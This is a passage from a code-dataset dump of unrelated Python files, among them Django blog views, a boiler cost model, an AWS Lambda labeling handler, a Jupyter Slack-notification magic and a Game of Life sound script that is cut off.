name='post_api_views'),\n url(r'^api/post/add/$', PostCreateAPIView.as_view(), name='post_api_add'),\n url(r'^api/post/(?P[\\w-]+)/$', PostDetailAPIView.as_view(), name='post_api_detail'),\n url(r'^api/post/(?P[\\w-]+)/edit/$', PostUpdateAPIView.as_view(), name='post_api_update'),\n url(r'^api/post/(?P[\\w-]+)/delete/$', PostDeleteAPIView.as_view(), name='post_api_delete'),\n\n\n url(r'^api/category/$', CategoryListAPIView.as_view(), name='category_api_views'),\n url(r'^api/category/add/$', CategoryCreateAPIView.as_view(), name='category_api_add'),\n url(r'^api/category/(?P[\\w-]+)/$', PostsInCategoryAPIView.as_view(), name='post_in_category_api'),\n\n\n url(r'^api/comments/$', CommentListAPIView.as_view(), name='comment_list_api'),\n url(r'^api/comments/add/$', CommentCreateAPIView.as_view(), name='comments_add_api'),\n url(r'^api/comments/detail/(?P\\d+)/$', CommentDetailAPIView.as_view(), name='comment_detail_api'),\n\n\n]\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"136743229","text":"# -*- coding: utf-8 -*-\n\"\"\"\ncondensing boilers\n\"\"\"\n\n\nfrom __future__ import division\nfrom scipy.interpolate import interp1d\n\n\n__author__ = \"Thuy-An Nguyen\"\n__copyright__ = \"Copyright 2015, Architecture and Building Systems - ETH Zurich\"\n__credits__ = [\"Thuy-An Nguyen\", \"Tim Vollrath\", \"Jimeno A. Fonseca\"]\n__license__ = \"MIT\"\n__version__ = \"0.1\"\n__maintainer__ = \"Daren Thomas\"\n__email__ = \"cea@arch.ethz.ch\"\n__status__ = \"Production\"\n\n#operation costs\n\ndef cond_boiler_operation(Q_load_W, Q_design_W, T_return_to_boiler_K):\n\n \"\"\"\n This function calculates efficiency for operation of condensing Boilers at DH plant based on LHV.\n This efficiency accounts for boiler efficiency only (not plant efficiency!)\n\n operational efficiency after:\n http://www.greenshootscontrols.net/?p=153\n\n :param Q_load_W: Load of time step\n :type Q_load_W: float\n\n :type Q_design_W: float\n :param Q_design_W: Design Load of Boiler\n\n :type T_return_to_boiler_K : float\n :param T_return_to_boiler_K: Return Temperature of the network to the boiler [K]\n\n :retype boiler_eff: float\n :returns boiler_eff: efficiency of Boiler (Lower Heating Value), in abs. numbers\n\n \"\"\"\n #TODO[SH]: Operation efficiency Reference link doesn't work\n\n #Implement Curves provided by http://www.greenshootscontrols.net/?p=153\n x = [0, 15.5, 21, 26.7, 32.2, 37.7, 43.3, 49, 54.4, 60, 65.6, 71.1, 100] # Return Temperature Dependency\n y = [96.8, 96.8, 96.2, 95.5, 94.7, 93.2, 91.2, 88.9, 87.3, 86.3, 86.0, 85.9, 85.8] # Return Temperature Dependency\n x1 = [0, 0.05, 0.25, 0.5, 0.75, 1] # Load Point dependency\n y1 = [99.5, 99.3, 98.3, 97.6, 97.1, 96.8] # Load Point Dependency\n\n # do the interpolation\n eff_of_T_return = interp1d(x, y, kind='linear')\n eff_of_phi = interp1d(x1, y1, kind='cubic')\n\n # get input variables\n if Q_design_W > 0:\n phi = float(Q_load_W) / float(Q_design_W)\n else:\n phi = 0\n\n #if phi < gV.Boiler_min:\n # print \"Boiler at too low part load, see Model_Boiler_condensing, line 100\"\n\n #raise model error!!\n\n if T_return_to_boiler_K == 0: # accounting with times with no flow\n T_return = 0\n else:\n T_return = T_return_to_boiler_K - 273\n\n eff_score = eff_of_phi(phi) / eff_of_phi(1)\n\n boiler_eff = (eff_score * eff_of_T_return(T_return) )/ 100.0\n\n\n return boiler_eff\n\n\ndef cond_boiler_op_cost(Q_therm_W, Q_design_W, T_return_to_boiler_K, BoilerFuelType, ElectricityType, gV):\n \"\"\"\n Calculates the operation cost of a Condensing Boiler (only operation, not annualized cost)\n\n :type Q_therm_W : float\n :param Q_therm_W: Load of time step\n\n :type Q_design_W: float\n :param Q_design_W: Design Load of Boiler\n\n :type T_return_to_boiler_K : float\n :param T_return_to_boiler_K: return temperature to Boiler (from DH network)\n\n :param gV: globalvar.py\n\n :rtype C_boil_therm : float\n :returns C_boil_therm: Total generation cost for required load (per hour) in CHF\n\n :rtype C_boil_per_Wh : float\n :returns C_boil_per_Wh: cost per Wh in CHF / kWh\n\n :rtype Q_primary : float\n :returns Q_primary: required thermal energy per hour (in Wh Natural Gas)\n\n :rtype E_aux_Boiler: float\n :returns E_aux_Boiler: auxiliary electricity of boiler operation\n \"\"\"\n\n # Iterating for efficiency as Q_thermal_required is given as input\n\n #if float(Q_therm) / float(Q_design) < gV.Boiler_min:\n # print \"error expected in Boiler operation, below min part load!\"\n\n #print float(Q_therm) / float(Q_design)\n\n # boiler efficiency\n eta_boiler = cond_boiler_operation(Q_therm_W, Q_design_W, T_return_to_boiler_K)\n\n\n if BoilerFuelType == 'BG':\n GAS_PRICE = gV.BG_PRICE\n #MaintananceCost = gV.Boiler_C_maintainance_fazBG\n else:\n GAS_PRICE = gV.NG_PRICE\n #MaintananceCost = gV.Boiler_C_maintainance_fazNG\n\n\n if ElectricityType == 'green':\n ELEC_PRICE = gV.ELEC_PRICE_GREEN\n else:\n ELEC_PRICE = gV.ELEC_PRICE\n\n C_boil_therm = Q_therm_W / eta_boiler * GAS_PRICE + (gV.Boiler_P_aux * ELEC_PRICE) * Q_therm_W # CHF / Wh - cost of thermal energy\n C_boil_per_Wh = 1/ eta_boiler * GAS_PRICE + gV.Boiler_P_aux* ELEC_PRICE\n E_aux_Boiler_req_W = gV.Boiler_P_aux * Q_therm_W\n\n Q_primary_W = Q_therm_W / eta_boiler\n\n return C_boil_therm, C_boil_per_Wh, Q_primary_W, E_aux_Boiler_req_W\n\n\ndef calc_Cop_boiler(Q_load_W, Q_design_W, T_return_to_boiler_K):\n\n \"\"\"\n This function calculates efficiency for operation of condensing Boilers based on LHV.\n This efficiency accounts for boiler efficiency only (not plant efficiency!)\n\n operational efficiency after:\n http://www.greenshootscontrols.net/?p=153\n\n\n :param Q_load_W: Load of time step\n :type Q_load_W: float\n\n :type Q_design_W: float\n :param Q_design_W: Design Load of Boiler\n\n :type T_return_to_boiler_K : float\n :param T_return_to_boiler_K: Return Temperature of the network to the boiler [K]\n\n\n :retype boiler_eff: float\n :returns boiler_eff: efficiency of Boiler (Lower Heating Value), in abs. numbers\n \"\"\"\n\n #Implement Curves provided by http://www.greenshootscontrols.net/?p=153\n x = [0, 15.5, 21, 26.7, 32.2, 37.7, 43.3, 49, 54.4, 60, 65.6, 71.1, 100] # Return Temperature Dependency\n y = [96.8, 96.8, 96.2, 95.5, 94.7, 93.2, 91.2, 88.9, 87.3, 86.3, 86.0, 85.9, 85.8] # Return Temperature Dependency\n x1 = [0.0, 0.05, 0.25, 0.5, 0.75, 1.0] # Load Point dependency\n y1 = [100.0, 99.3, 98.3, 97.6, 97.1, 96.8] # Load Point Dependency\n\n # do the interpolation\n eff_of_T_return = interp1d(x, y, kind='linear')\n eff_of_phi = interp1d(x1, y1, kind='cubic')\n\n # get input variables\n if Q_design_W > 0:\n phi = float(Q_load_W) / float(Q_design_W)\n\n else:\n phi = 0\n #if phi < gV.Boiler_min:\n # print \"Boiler at too low part load, see Model_Boiler_condensing, line 100\"\n\n #raise model error!!\n\n\n T_return_C = T_return_to_boiler_K - 273\n eff_score = eff_of_phi(phi) / eff_of_phi(1)\n boiler_eff = (eff_score * eff_of_T_return(T_return_C) )/ 100.0\n\n return boiler_eff\n\n\n\n# investment and maintenance costs\n\ndef calc_Cinv_boiler(Q_design_W, Q_annual_W, gV):\n \"\"\"\n Calculates the annual cost of a boiler (based on A+W cost of oil boilers) [CHF / a]\n and Faz. 2012 data\n\n :type Q_design_W : float\n :param Q_design_W: Design Load of Boiler in [W]\n\n :type Q_annual_W : float\n :param Q_annual_W: Annual thermal load required from Boiler in [Wh]\n\n :param gV: globalvar.py\n\n :rtype InvCa : float\n :returns InvCa: Annualized investment costs in CHF/a including Maintenance Cost\n \"\"\"\n # TODO[SH]: check source\n if Q_design_W >0:\n InvC = 28000 # after A+W\n\n if Q_design_W <= 90000 and Q_design_W >= 28000:\n InvC_exkl_MWST = 28000 + 0.275 * (Q_design_W - 28000) # linear interpolation of A+W data\n InvC = (gV.MWST + 1) * InvC_exkl_MWST\n\n elif Q_design_W > 90000 and Q_design_W <= 320000: # 320kW = maximum Power of conventional Gas Boiler,\n InvC = 45000 + 0.11 * (Q_design_W - 90000)\n\n InvCa = InvC * gV.Boiler_i * (1+ gV.Boiler_i) ** gV.Boiler_n / ((1+gV.Boiler_i) ** gV.Boiler_n - 1)\n\n if Q_design_W > 320000: # 320kW = maximum Power of conventional Gas Boiler\n InvCa = gV.EURO_TO_CHF * (84000 + 14 * Q_design_W / 1000) # after Faz.2012\n\n Maint_C_annual = gV.Boiler_C_maintainance_faz * Q_annual_W / 1E6 * gV.EURO_TO_CHF # 3.5 euro per MWh_th FAZ 2013\n Labour_C = gV.Boiler_C_labour * Q_annual_W / 1E6 * gV.EURO_TO_CHF # approx 4 euro per MWh_th\n\n InvCa += Maint_C_annual + Labour_C\n\n else:\n InvCa = 0\n\n return InvCa\n\n","sub_path":"cea/technologies/boilers.py","file_name":"boilers.py","file_ext":"py","file_size_in_byte":7733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"441286622","text":"\nimport json\nimport sys\nimport boto3\n\ndef lambda_handler(event: dict, context: object) -> dict:\n \"\"\" カスタムラベリングのためのポストタスク Lambda 関数\n Args:\n event: dict, required\n SageMaker Ground Truth から 後処理 Lambda へ送られる event は下記のような形。\n 詳細は開発者ガイドを参照: https://docs.aws.amazon.com/sagemaker/latest/dg/sms-custom-templates-step3.html \n \n {\n \"version\": \"2018-10-16\",\n \"labelingJobArn\": ,\n \"labelCategories\": [], # If you created labeling job using aws console, labelCategories will be null\n \"labelAttributeName\": ,\n \"roleArn\" : \"string\",\n \"payload\": {\n \"s3Uri\": \n }\n \"outputConfig\":\"s3://\"\n }\n\n payload.s3Uri は下記。\n\n [\n {\n \"datasetObjectId\": ,\n \"dataObject\": {\n \"s3Uri\": ,\n \"content\": \n },\n \"annotations\": [{\n \"workerId\": ,\n \"annotationData\": {\n \"content\": ,\n \"s3Uri\": \n }\n }\n ]\n }\n ]\n\n context: object, required\n AWS Lambda Context オブジェク\n 詳細は開発者ガイドを参照: https://docs.aws.amazon.com/lambda/latest/dg/python-context-object.html\n Returns:\n consolidated_output: list\n 統合されたアノテーション結果。\n 詳細は開発者ガイドを参照: \n [\n {\n \"datasetObjectId\": ,\n \"consolidatedAnnotation\": {\n \"content\": {\n \"\": {\n # ... label content\n }\n }\n }\n }\n ]\n \"\"\"\n\n # 受け取ったイベントを確認\n print(\"Received event: \" + json.dumps(event, indent=2))\n\n # S3 URI から\n parsed_url = urlparse(event['payload']['s3Uri'])\n\n s3 = boto3.client('s3')\n textFile = s3.get_object(Bucket=parsed_url.netloc, Key=parsed_url.path[1:])\n filecont = textFile['Body'].read()\n annotations = json.loads(filecont)\n\n for dataset in annotations:\n for annotation in dataset['annotations']:\n new_annotation = json.loads(\n annotation['annotationData']['content'])\n\n label ={\n 'datasetObjectId': dataset['datasetObjectId'],\n 'consolidatedAnnotation': {\n 'content': {\n event['labelAttributeName']: {\n 'workerId': annotation['workerId'],\n 'result': new_annotation,\n 'labeledContent': dataset['dataObject']\n }\n }\n }\n }\n \n consolidated_labels.append(label)\n\n # Response の確認\n print(\"Response: \" + json.dumps(consolidated_labels))\n\n return consolidated_labels","sub_path":"auditjob/posttask.py","file_name":"posttask.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"577076536","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /usr/local/lib/python2.7/dist-packages/vagoth/utils.py\n# Compiled at: 2013-12-28 15:30:28\n\n\ndef matches_tags(tag_matches, tags):\n \"\"\"Do the given tag_matches match the given tags?\n\n If the tag_matches value is None, it only checks for tag existence.\n\n If the tag_matches value is not None, it does a direct comparison.\n For each key/value pair, check if the tag exists, and if the value is\n not None, if the value matches.\n\n :param tag_matches: key-value pairs we want to check for\n :param tags: key-value pairs that we'll check against\n :returns: bool\n \"\"\"\n assert tag_matches\n assert type(tags) == dict\n for tag_name, tag_value in tag_matches.items():\n if tag_name not in tags:\n return False\n if tag_value is not None and tag_value != tags[tag_name]:\n return False\n\n return True","sub_path":"pycfiles/vagoth-0.9.3.linux-x86_64.tar/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"8008758","text":"class Sudoku(object):\n def __init__(self, data):\n n = int(len(data) ** 0.5)\n self.n = n\n self.data = data\n self.lines = data\n if not all(len(line) == len(data) for line in self.lines):\n self.lines = [[0] * n]\n self.columns = []\n self.squares = []\n else:\n self.columns = [[row[i] for row in data] for i in range(n)]\n self.squares = []\n for i in range(n):\n for j in range(n):\n rows = data[i * n:i * n + n]\n cols = [row[j * n:j * n + n] for row in rows]\n squa = sum(cols, [])\n self.squares.append(squa)\n\n def is_valid(self):\n if self.data[0][0] is True:\n return False\n iterables = self.lines, self.columns, self.squares\n for iterable in iterables:\n for segment in iterable:\n if list(sorted(segment)) != list(range(1, self.n ** 2 + 1)):\n return False\n return True\n","sub_path":"4-kyu/Validate Sudoku with size `NxN`.py","file_name":"Validate Sudoku with size `NxN`.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"266242490","text":"\"\"\"finds all images in current folders that are wider than 300px and adds a small cat logo in bottom rhs\"\"\"\n\nfrom PIL import Image\nimport os\n\nos.chdir('/Users/ilja/Dropbox/atbs')\n\nimages = [f for f in os.listdir() if f.endswith('jpg') or f.endswith('.png')]\nprint(images)\n\nlogo = Image.open('automate_online-materials/catlogo.png')\nlogo_w, logo_h = logo.size\nlogo_k = logo_w/100\nlogo = logo.resize((int(logo_w/logo_k), int(logo_h/logo_k)))\nlogo.save(f'modified_imgs/logo.png')\n\nmodified_images = []\nfor img in images:\n img_f = Image.open(img)\n w, h = img_f.size\n if max(w, h) > 300:\n k = w/300\n img_f = img_f.resize((int(w/k), int(h/k)))\n\n new_w, new_h = img_f.size\n\n # need to pass twice, as first and as third argument if you want to have transparent pixels around the cat preserved!\n img_f.paste(logo, (new_w-100, new_h-100), logo)\n\n img_f.save(f'modified_imgs/{img}.png')\n","sub_path":"19_pj_cat_logo.py","file_name":"19_pj_cat_logo.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"230977517","text":"\n\n#calss header\nclass _PERIODONTAL():\n\tdef __init__(self,): \n\t\tself.name = \"PERIODONTAL\"\n\t\tself.definitions = [u'relating to the gums (= the pink flesh in the mouth in which the teeth are fixed) and other tissues around the teeth: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'adjectives'\n\n\n\tdef run(self, obj1, obj2):\n\t\tself.jsondata[obj2] = {}\n\t\tself.jsondata[obj2]['properties'] = self.name.lower()\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/adjectives/_periodontal.py","file_name":"_periodontal.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"631783315","text":"import os\nimport requests\nimport time\nfrom IPython.core import magic_arguments\nfrom IPython.core.magics import ExecutionMagics\nfrom IPython.core.magic import cell_magic, magics_class\nimport slackweb\n\ndef notify_self(attachments):\n url=os.environ[\"SLACK_URL\"]\n slack = slackweb.Slack(url)\n slack.notify(attachments=attachments)\n\n\ndef construct_time_mess(elapsed):\n day = elapsed // (24 * 3600)\n elapsed = elapsed % (24 * 3600)\n hour = elapsed // 3600\n elapsed %= 3600\n minutes = elapsed // 60\n elapsed %= 60\n seconds = round(elapsed, 1)\n time_mess = \"\"\n if day > 0:\n time_mess += \" {} days\".format(day)\n if hour > 0:\n time_mess += \" {} hours \".format(hour)\n if minutes > 0:\n time_mess += \" {} minutes\".format(minutes)\n if seconds >= 0:\n time_mess += \" {} seconds\".format(seconds)\n return time_mess\n\n\n@magics_class\nclass MessengerMagics(ExecutionMagics):\n\n def __init__(self, shell):\n super().__init__(shell)\n\n @cell_magic\n @magic_arguments.magic_arguments()\n @magic_arguments.argument(\"message\", type=str)\n @magic_arguments.argument(\"--time\", \"-t\", action=\"store_true\")\n def notify(self, line=\"\", cell=None):\n args = magic_arguments.parse_argstring(self.notify, line)\n mess = args.message.replace(\"\\\"\", \"\")\n detail={}\n attachment = {}\n start = time.time()\n try:\n self.shell.ex(cell)\n status=0\n {\"title\": \"Sushi\",\n \"pretext\": \"Sushi _includes_ gunkanmaki\",\n \"text\": \"Eating *right now!*\",\n \"mrkdwn_in\": [\"text\", \"pretext\"]}\n detail['status'] = 'Success'\n except BaseException as e:\n detail['status'] = 'Fail'\n detail['error'] = \"{!r}\".format(e)\n raise e\n finally:\n detail['runtime'] = construct_time_mess(time.time()-start)\n attachment['pretext'] = \"'{}'\".format(mess) + ' was done !' \n attachment['title'] = \"'{}'\".format(mess) + ' was {} !'.format(detail['status'])\n attachment['text'] = '\\n'.join(['{}:{}'.format(key, content) for key, content in detail.items()]) \n notify_self([attachment])\n","sub_path":"jupyter_slack/jupyter_slack.py","file_name":"jupyter_slack.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"341471673","text":"from django.shortcuts import render\n\n# Create your views here.\n\nimport markdown\nfrom django.shortcuts import render, get_object_or_404\nfrom .forms import EmailPostForm\nfrom comments.forms import CommentForm\nfrom .models import Post, Category, Tag\nfrom django.db.models import Q\n# q对象,查询表达式\n# 改写类视图函数\nfrom django.views.generic import ListView, DetailView\nfrom django.core.mail import send_mail\n\n\n# request 是django封装好的http请求,返回一个http响应给用户\nclass IndexView(ListView):\n # 我要获取的模型是post\n model = Post\n template_name = 'blog/index.html'\n # 这个变量会传递给模板\n context_object_name = 'post_list'\n paginate_by = 3\n\n\n# def index(request):\n# # return HttpResponse(\"欢迎\")\n# # 以时间倒序查询文章,存在变量里\n# post_list = Post.objects.all().order_by('-created_time')\n# # return render(request, 'blog/index.html', context={\n# # 'title': '我的博客',\n# # 'welcome': '欢迎光临'\n# # })\n# # post_list=Post.objects.filter(created_time__year=year,\n# # created_time__month=month).order_by('-created_time')\n#\n# return render(request, 'blog/index.html', context={\n# 'post_list': post_list\n# })\n\n\ndef archives(request, year, month):\n post_list = Post.objects.filter(created_time__year=year,\n created_time__month=month).order_by('-created_time')\n return render(request, 'blog/index.html', context={'post_list': post_list})\n\n\n#\n# class ArchivesView(ListView):\n# model = Post\n# template_name = 'blog/index.html'\n# context_object_name = 'post_list'\n#\n# def get_queryset(self):\n# year = self.kwargs.get('year')\n# month = self.kwargs.get('month')\n# return super(ArchivesView, self).get_queryset().filter(created_time__year=year,\n# created_time__month=month)\n# 详情页的类视图函数写法,但是没有引用\nclass PostDetailView(DetailView):\n model = Post\n template_name = 'blog/detail.html'\n context_object_name = 'post'\n\n def get(self, request, *args, **kwargs):\n response = super(PostDetailView, self).get(request, *args, **kwargs)\n\n self.object.increase_views()\n return response\n\n def get_object(self, queryset=None):\n post = super(PostDetailView, self).get_object(queryset=None)\n md = markdown.markdown(\n extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n 'markdown.extensions.toc',\n ])\n post.body = md.convert(post.body)\n post.toc = md.toc\n\n return post\n\n # 显示评论数据的方法\n def get_context_data(self, **kwargs):\n context = super(PostDetailView, self).get_context_data(**kwargs)\n # form=\n form = CommentForm()\n comment_list = self.object.comment_set.all()\n context.update({\n 'form': form,\n 'comment_list': comment_list\n })\n return context\n\n\ndef detail(request, pk):\n post = get_object_or_404(Post, pk=pk)\n\n # 每次触发detail函数,就调用阅读增加方法\n post.increase_views()\n # markdown 语法拓展\n post.body = markdown.markdown(post.body,\n extensions=[\n 'markdown.extensions.extra',\n 'markdown.extensions.codehilite',\n 'markdown.extensions.toc',\n ])\n form = CommentForm()\n comment_list = post.comment_set.all()\n\n return render(request, 'blog/detail.html', context={'post': post,\n 'form': form,\n 'comment_list': comment_list})\n\n\nclass CategoryView(ListView):\n model = Post\n template_name = 'blog/index.html'\n context_object_name = 'post_list'\n\n def get_queryset(self):\n cate = get_object_or_404(Category, pk=self.kwargs.get('pk'))\n return super(CategoryView, self).get_queryset().filter(category=cate)\n\n\ndef category(request, pk):\n # 记得在开始部分导入 Category 类\n cate = get_object_or_404(Category, pk=pk)\n post_list = Post.objects.filter(category=cate).order_by('-created_time')\n return render(request, 'blog/index.html', context={'post_list': post_list})\n\n\nclass TagView(ListView):\n model = Post\n template_name = 'blog/index.html'\n context_object_name = 'post_list'\n\n def get_queryset(self):\n tag = get_object_or_404(Tag, pk=self.kwargs.get('pk'))\n return super(TagView, self).get_queryset().filter(tags=tag)\n\n\ndef search(request):\n # 获取搜索框的值\n q = request.GET.get('q')\n error_msg = ''\n if not q:\n error_msg = '请输入关键字'\n return render(request, 'blog/index.html', {'error_msg': error_msg})\n # 数据库包含过滤查询\n post_list = Post.objects.filter(Q(title__icontains=q) | Q(body__icontains=q))\n return render(request, 'blog/index.html', {'error_msg': error_msg,\n 'post_list': post_list})\n\n\n# 分享\ndef post_share(request, pk):\n post = get_object_or_404(Post, pk=pk)\n sent = ''\n recipient = ''\n if request.method == 'POST':\n form = EmailPostForm(request.POST)\n if form.is_valid():\n cd = form.cleaned_data\n post_url = request.build_absolute_uri(post.get_absolute_url())\n subject = '{}({})recommends you reading \"{}\"'.format(cd['name'], cd['email'], post.title)\n message = 'Read \"{}\" at {}\\n\\n{}\\'s comments: {}'.format(post.title, post_url, cd['name'],\n cd['comments'])\n send_mail(subject, message, 'wersonlau@163.com', [cd['to']])\n recipient = cd['to']\n sent = True\n else:\n form = EmailPostForm()\n recipient = False\n return render(request, 'blog/share.html',\n {\n 'post': post,\n 'form': form,\n 'sent': sent,\n 'recipient': recipient}\n )\n\n\ndef contact(request):\n return render(request, 'blog/contact.html', context={\n 'welcome': '足下的到访使小站蓬荜生辉'\n })\n\n\n# from rest_framework import viewsets\n# from .serializer import PostSerializer\n#\n#\n# class PostViewSet(viewsets.ModelViewSet):\n# queryset = Post.objects.all()\n# serializer_class = PostSerializer\n","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"171263287","text":"import rethinkdb as r\nimport numpy as np\nimport time\n\nr_conn = r.connect(db=\"nekobot\")\n\nuser = input(\"User: \")\ndata = r.table(\"economy\").get(str(user)).run(r_conn)\n\nlasttime = data[\"bettimes\"][0]\ni = []\nfor times in data[\"bettimes\"]:\n x = (int(times) - int(lasttime))\n i.append(x)\n print(\"Seconds Since: %s\" % x)\n lasttime = times\n\nprint(\"Seconds since last: %s\" % (int(time.time()) - int(lasttime)))\nprint(\"Amount: %s\" % len(data[\"bettimes\"]))\nprint(\"Average: %s\" % np.mean(i))\n\nr_conn.close()\n","sub_path":"Tools/ecoCheck.py","file_name":"ecoCheck.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"622741850","text":"'''\n开放平台区块链信息查询\n通过txid查询交易的merkle路径\n'''\nimport readConfig\nimport json\nimport unittest\nfrom common import common,Log\nimport paramunittest\nfrom common import configHttp,configDing\n\nmerkle_xls = common.get_xls('OpenApiCase.xlsx','merkle')\nlocalReadConfig = readConfig.ReadConfig()\nconfigHttp = configHttp.ConfigHttp()\ninfo = {}\n\n\n@paramunittest.parametrized(*merkle_xls)\nclass merkle(unittest.TestCase):\n\n def setParameters(self,case_name,method,headers,data,code,msg):\n self.case_name = str(case_name)\n self.method =str(method)\n self.headers = json.loads(headers)\n self.data = json.loads(data)\n self.code = int(code)\n self.msg = str(msg)\n\n def setUp(self):\n self.log = Log.MyLog.get_log()\n self.logger = self.log.get_logger()\n\n def testMerkle(self):\n # set url\n self.url = common.get_url_from_xml('merkle')\n url = configHttp.set_url(self.url)\n print(url)\n\n # set headers\n configHttp.set_headers(self.headers)\n print(self.headers)\n\n # set params\n configHttp.set_data(self.data)\n print(self.data)\n\n # test interface\n try:\n self.return_json = configHttp.requests_by_method(self.method)\n except Exception as Ex:\n self.logger.exception(Ex)\n return\n\n common.checkResult(url,self.return_json,self.code)\n # self.return_json = configHttp.requests_by_method(self.method)\n # print(self.return_json.text)\n # status_code = self.return_json.status_code\n # print(self.return_json.status_code)\n #\n # self.checkResult(url, status_code)\n #\n # def checkResult(self, url, status_code):\n # '''\n # check test result\n # :return:\n # '''\n # re = []\n # re.append(self.url)\n # try:\n # self.assertEqual(self.return_json.status_code, 200, '状态码不等于200,用例失败')\n # self.info = json.loads(self.return_json.text)\n # self.assertEqual(self.info['code'], self.code)\n # re.append(self.info)\n # self.logger.info(re)\n # except Exception as Ex:\n # re.append(Ex)\n # self.logger.exception(re)\n # configDing.dingmsg(url, status_code, Ex)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"test_case/testMerkle.py","file_name":"testMerkle.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"144080166","text":"#!/usr/bin/env python\r\nimport os\r\nimport pygame\r\nimport random\r\nfrom pygame.locals import *\r\nimport os.path, sys\r\nimport pygame.mixer, pygame.time\r\nmixer = pygame.mixer\r\ntime = pygame.time\r\n\r\n\"\"\"globals\"\"\"\r\nplayfield_size = [78,38]\r\n\r\n\r\nplayfield = [[False for x in range(playfield_size[0])] for y in range(playfield_size[1])]\r\nplayfield_samples = [[\"\" for x in range(playfield_size[0])] for y in range(playfield_size[1])]\r\nplayfield_channels = [[None for x in range(playfield_size[0])] for y in range(playfield_size[1])]\r\n\r\ndef init_playfield(samples):\r\n\tglobal playfield,playfield_samples,playfield_size\r\n\tfor i in range(390):\r\n\t\tx = random.randint(0,playfield_size[0]-1)\r\n\t\ty = random.randint(0,playfield_size[1]-1)\r\n\t\tplayfield[y][x] = True\r\n#\tfor y in range(playfield_size[1]):\r\n#\t\tfor x in range(playfield_size[0]):\r\n\t\t\t#if(random.choice([True,False,False,False])):\r\n#\t\t\tif(random.randint(0,20) == 0):\r\n#\t\t\t\tsample = samples[random.randint(0,len(samples)-1)]\r\n#\t\t\t\tsound = mixer.Sound(sample)\r\n#\t\t\t\tplayfield_samples[y][x] = sound \r\n\tfor r in range(1):\r\n\t\tfor i in range(len(samples)):\r\n\t\t\tx = random.randint(0,playfield_size[0]-1)\r\n\t\t\ty = random.randint(0,playfield_size[1]-1)\r\n\t\t\tsample = samples[i]\r\n\t\t\tsound = mixer.Sound(sample)\r\n\t\t\tplayfield_samples[y][x] = sound \r\n\r\n\t\r\n\r\ndef print_playfield():\r\n\tglobal playfield,playfield_size\r\n\tprint(\"+-\" + \"--\"*playfield_size[0] + \"+\")\r\n\tfor y in range(playfield_size[1]):\r\n\t\tprint(\"|\", end=\" \")\r\n\t\tfor x in range(playfield_size[0]):\r\n\t\t\tif(playfield[y][x] == True):\r\n\t\t\t\tprint(\"o\", end=\" \")\r\n\t\t\telse:\r\n\t\t\t\tprint(\".\", end=\" \")\r\n\t\tprint(\"|\")\r\n\tprint(\"+-\" + \"--\"*playfield_size[0] + \"+\")\r\n#\tprint(playfield_samples)\r\n\r\ndef mutate_playfield():\r\n\tglobal playfield,playfield_samples,playfield_size\r\n\tfor i in range(20):\r\n\t\tx = random.randint(0,playfield_size[0]-1)\r\n\t\ty = random.randint(0,playfield_size[1]-1)\r\n\t\tplayfield[y][x] = True\r\n\r\ndef get_neighbours_num(x,y):\r\n\tglobal playfield,playfield_size\r\n\tn = 0\r\n\tif(y-1 >= 0 and playfield[y-1][x] == True):\r\n\t\tn += 1\r\n\tif(x-1 >= 0 and playfield[y][x-1] == True):\r\n\t\tn += 1\r\n\tif(x+1 < playfield_size[0] and playfield[y][x+1] == True):\r\n\t\tn += 1\r\n\tif(y+1 < playfield_size[1] and playfield[y+1][x] == True):\r\n\t\tn += 1\r\n\r\n\tif(y-1 >= 0 and x-1 > 0 and playfield[y-1][x-1] == True):\r\n\t\tn += 1\r\n\tif(y-1 >= 0 and x+1 < playfield_size[0] and playfield[y-1][x+1] == True):\r\n\t\tn += 1\r\n\tif(y+1 < playfield_size[1] and x+1 < playfield_size[0] and playfield[y+1][x+1] == True):\r\n\t\tn += 1\r\n\tif(y+1 < playfield_size[1] and x-1 >= 0 and playfield[y+1][x-1] == True):\r\n\t\tn += 1\r\n\treturn n\r\n\t\r\n\r\n\r\ndef play_sounds():\r\n\tglobal playfield,playfield_samples,playfield_size\r\n\tfor y in range(playfield_size[1]):\r\n\t\tfor x in range(playfield_size[0]):\r\n\t\t\tif(playfield[y][x] == True and playfield_samples[y][x] != \"\"):\r\n\t\t\t\tsample = playfield_samples[y][x];\r\n\t\t\t\t#if(\r\n\t\t\t\tif(playfield_channels[y][x] != None):\r\n\t\t\t\t\tsample.stop()\r\n\t\t\t\tplayfield_channels[y][x] = 